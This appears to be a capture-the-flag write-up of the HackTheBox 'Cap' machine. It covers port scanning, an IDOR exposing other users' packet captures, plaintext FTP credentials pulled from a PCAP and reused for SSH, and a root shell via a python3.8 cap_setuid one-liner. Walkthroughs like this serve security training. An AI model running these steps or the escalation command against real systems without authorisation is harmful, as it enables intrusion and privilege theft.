> For the complete documentation index, see [llms.txt](https://aashraymt.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aashraymt.gitbook.io/docs/writeups/hackthebox-writeups/htb-cap.md).

# HTB — CAP

<figure><img src="https://miro.medium.com/v2/resize:fit:679/1*VhAAeCXifOPQLbTVukF20Q.png" alt="" height="556" width="679"><figcaption></figcaption></figure>

**Skills Learned**:

* IDOR (Insecure Direct Object Reference)
* FTP credentials from `.pcap`
* Privilege escalation via `capabilities`
* Network analysis using Wireshark

### Enumeration <a href="#id-13db" id="id-13db"></a>

### &#x20;Nmap Scan <a href="#c5fb" id="c5fb"></a>

First step in enumeration is scanning for open ports:

`nmap 10.10.10.245`

<figure><img src="https://miro.medium.com/v2/resize:fit:551/1*37xR00liz0WfOnE4NpPI3w.png" alt="" height="179" width="551"><figcaption></figcaption></figure>

This revealed:

`PORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open http`

We follow up with a more aggressive scan to identify versions and scripts:

`nmap -p21,22,80 -sC -sV -Pn 10.10.10.245`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*v0Z73EmOmhkZni0wV9CZDw.png" alt="" height="434" width="700"><figcaption></figcaption></figure>

### &#x20;Web Enumeration (Port 80) <a href="#id-6c43" id="id-6c43"></a>

Navigating to `http://10.10.10.245`, we’re presented with a **"Security Dashboard"** application.

On interaction with **“Security Snapshot”**, the app redirects to:

`/data/<id>`

Example: [`http://10.10.10.245/data/0`](http://10.10.10.245/data/0)

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*7iU2-UE6XXtwCi6_bAuY6A.png" alt="" height="331" width="700"><figcaption></figcaption></figure>

This reveals that the URL pattern is predictable — suggesting an **IDOR (Insecure Direct Object Reference)** vulnerability.

### &#x20;IDOR Exploitation <a href="#id-82f4" id="id-82f4"></a>

Manually incrementing the `/data/<id>` value allows access to **other users' PCAP scan results** (e.g., `/data/1`, `/data/2`, etc.).

✅ **TASK 2**: The answer to “What is the \[something]?” → `data`\
✅ **TASK 3**: Can you access other users' scans? → `yes`

### &#x20;Packet Capture Analysis (PCAPs) <a href="#c3e4" id="c3e4"></a>

Once we find a working scan (example: `/data/0`), we can **download a PCAP**.

Open the `.pcap` file in **Wireshark** and apply a display filter:

`ftp`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*Ghh4W4ndEXcOoq_Gcwj6oQ.png" alt="" height="648" width="700"><figcaption></figcaption></figure>

We observe:

`USER nathanPASS Buck3tH4TF0RM3!`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*Zyu2quIedAe_ltVQRACU5Q.png" alt="" height="260" width="700"><figcaption></figcaption></figure>

&#x20;The credentials were transferred **in plain text over FTP** (expected for non-FTPS servers).

### &#x20;FTP Access <a href="#id-6f57" id="id-6f57"></a>

Using the extracted credentials

`ftp 10.10.10.245`

* Username: `nathan`
* Password: `Buck3tH4TF0RM3!`

✅ Login successful. While there isn’t much to explore through FTP, these credentials are reused for **SSH**.

### &#x20;SSH Access <a href="#e10c" id="e10c"></a>

`ssh nathan@10.10.10.245`

Press enter or click to view image in full size

<figure><img src="https://miro.medium.com/v2/resize:fit:700/1*V0myao-Q0dAwrpaqIX5nPg.png" alt="" height="608" width="700"><figcaption></figcaption></figure>

You’re dropped into the `nathan` user shell.

Listing files:

`cat user.txt`

<figure><img src="https://miro.medium.com/v2/resize:fit:441/1*7GpmYEC0AmphlMTCV2DtYw.png" alt="" height="152" width="441"><figcaption></figcaption></figure>

**User Flag Acquired**

### &#x20;Privilege Escalation <a href="#id-583b" id="id-583b"></a>

Time to check what’s misconfigured or exploitable.

### Capabilities Enumeration <a href="#id-3b90" id="id-3b90"></a>

We run [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) or manually inspect capabilities:

`getcap -r / 2>/dev/null`

We find:

`/usr/bin/python3.8 = cap_setuid+ep`

This means `python3.8` can run with **elevated privileges**. The `cap_setuid+ep` allows it to **set the UID to root** without needing sudo.

### Exploit Python Capability for Root <a href="#id-1a31" id="id-1a31"></a>

Launch a root shell:

`python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'`

Now verify:

`whoami`

Output:

`root`

Navigate to root’s home directory:

`cd /rootcat root.txt`

<figure><img src="https://miro.medium.com/v2/resize:fit:431/1*KPVqRNU-OQe50D1qZsm-pQ.png" alt="" height="517" width="431"><figcaption></figcaption></figure>

✅ **Root Flag Acquired**

<figure><img src="https://miro.medium.com/v2/resize:fit:696/1*eI_KC8zg7yBT_Bvk9SYvsQ.png" alt="" height="643" width="696"><figcaption></figcaption></figure>
